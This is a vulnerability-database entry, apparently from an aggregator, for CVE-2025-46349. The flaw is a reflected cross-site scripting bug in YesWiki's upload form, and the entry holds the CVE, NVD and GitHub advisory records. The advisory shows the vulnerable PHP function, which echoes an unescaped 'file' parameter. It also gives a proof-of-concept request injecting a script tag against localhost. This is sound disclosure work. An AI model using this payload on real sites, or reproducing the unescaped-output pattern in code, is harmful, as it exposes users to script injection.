CVE-2025-46349 (GCVE-0-2025-46349)
Vulnerability from cvelistv5 – Published: 2025-04-29 17:11 – Updated: 2025-04-29 18:01
VLAI
EPSS
VEX
Title
YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
Summary
YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
Severity
7.6 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-29 18:01 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/YesWiki/yeswiki/security/advis… | x_refsource_CONFIRM |
| https://github.com/YesWiki/yeswiki/pull/1264/comm… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-46349",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-29T18:01:18.455461Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-04-29T18:01:20.769Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yeswiki",
"vendor": "YesWiki",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-29T17:11:10.679Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
},
{
"name": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
}
],
"source": {
"advisory": "GHSA-2f8p-qqx2-gwr2",
"discovery": "UNKNOWN"
},
"title": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-46349",
"datePublished": "2025-04-29T17:11:10.679Z",
"dateReserved": "2025-04-22T22:41:54.913Z",
"dateUpdated": "2025-04-29T18:01:20.769Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2025-46349",
"date": "2026-10-19",
"epss": "0.00632",
"percentile": "0.4933"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "yeswiki",
"vendor": "YesWiki",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E3230BE7-CB3C-401F-A727-7052E9E07A68",
"versionEndExcluding": "4.5.4",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4."
},
{
"lang": "es",
"value": "YesWiki es un sistema wiki escrito en PHP. Antes de la versi\u00f3n 4.5.4, YesWiki era vulnerable a XSS reflejado en el formulario de subida de archivos. Esta vulnerabilidad permite a cualquier usuario malintencionado no autenticado crear un enlace en el que la v\u00edctima puede hacer clic para realizar acciones arbitrarias. Este problema se ha corregido en la versi\u00f3n 4.5.4."
}
],
"id": "CVE-2025-46349",
"lastModified": "2026-06-17T09:26:16.963",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 4.7,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-46349",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-29T18:01:18.455461Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-04-29T18:15:44.803",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2025-05-28T18:10:21+00:00",
"cve": "CVE-2025-46349",
"id": "CVE-2025-46349",
"initial_release_date": "2025-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-46349.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-46349",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-29T18:01:18.455461Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-04-29T18:01:07.080Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yeswiki",
"vendor": "YesWiki",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-29T17:11:10.679Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
},
{
"name": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
}
],
"source": {
"advisory": "GHSA-2f8p-qqx2-gwr2",
"discovery": "UNKNOWN"
},
"title": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-46349",
"datePublished": "2025-04-29T17:11:10.679Z",
"dateReserved": "2025-04-22T22:41:54.913Z",
"dateUpdated": "2025-04-29T18:01:20.769Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
}
}
FKIE_CVE-2025-46349
Vulnerability from fkie_nvd - Published: 2025-04-29 18:15 - Updated: 2026-06-17 09:26
Severity
7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L
6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.1 (Medium) - CVSS:3.1/
Summary
YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
References
{
"affected": [
{
"affectedData": [
{
"product": "yeswiki",
"vendor": "YesWiki",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E3230BE7-CB3C-401F-A727-7052E9E07A68",
"versionEndExcluding": "4.5.4",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4."
},
{
"lang": "es",
"value": "YesWiki es un sistema wiki escrito en PHP. Antes de la versi\u00f3n 4.5.4, YesWiki era vulnerable a XSS reflejado en el formulario de subida de archivos. Esta vulnerabilidad permite a cualquier usuario malintencionado no autenticado crear un enlace en el que la v\u00edctima puede hacer clic para realizar acciones arbitrarias. Este problema se ha corregido en la versi\u00f3n 4.5.4."
}
],
"id": "CVE-2025-46349",
"lastModified": "2026-06-17T09:26:16.963",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 4.7,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-46349",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-29T18:01:18.455461Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-04-29T18:15:44.803",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-2F8P-QQX2-GWR2
Vulnerability from github – Published: 2025-04-29 14:38 – Updated: 2025-04-29 20:27
VLAI
Summary
YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
Details
Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch)
- Docker environnment (docker/docker-compose.yml)
Vulnerable code
The vulnerability is located in the file
public function showUploadForm()
{
$this->file = $_GET['file'];
echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
. ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
. ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
. " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
. " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
. ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
. "</form>\n";
}
PoC
- You need to send a request to endpoint and abusing the
fileparameter, we can successfully obtain client side javascript execution
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
- Get a response
Impact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
Severity
7.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46349"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-29T14:38:12Z",
"nvd_published_at": "2025-04-29T18:15:44Z",
"severity": "HIGH"
},
"details": "### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n public function showUploadForm()\n {\n $this-\u003efile = $_GET[\u0027file\u0027];\n echo \u0027\u003ch3\u003e\u0027 . _t(\u0027ATTACH_UPLOAD_FORM_FOR_FILE\u0027) . \u0027 \u0027 . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n echo \u0027\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n . \u0027\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"\u0027 . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n . \u0027\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"\u0027 . $this-\u003eattachConfig[\u0027max_file_size\u0027] . \"\\\" /\u003e\\n\"\n . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n . \u0027\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"\u0027 . _t(\u0027ATTACH_SAVE\u0027) . \"\\\" /\u003e\\n\"\n . \"\u003c/form\u003e\\n\";\n }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-04-11 \u0432 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions",
"id": "GHSA-2f8p-qqx2-gwr2",
"modified": "2025-04-29T20:27:19Z",
"published": "2025-04-29T14:38:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46349"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.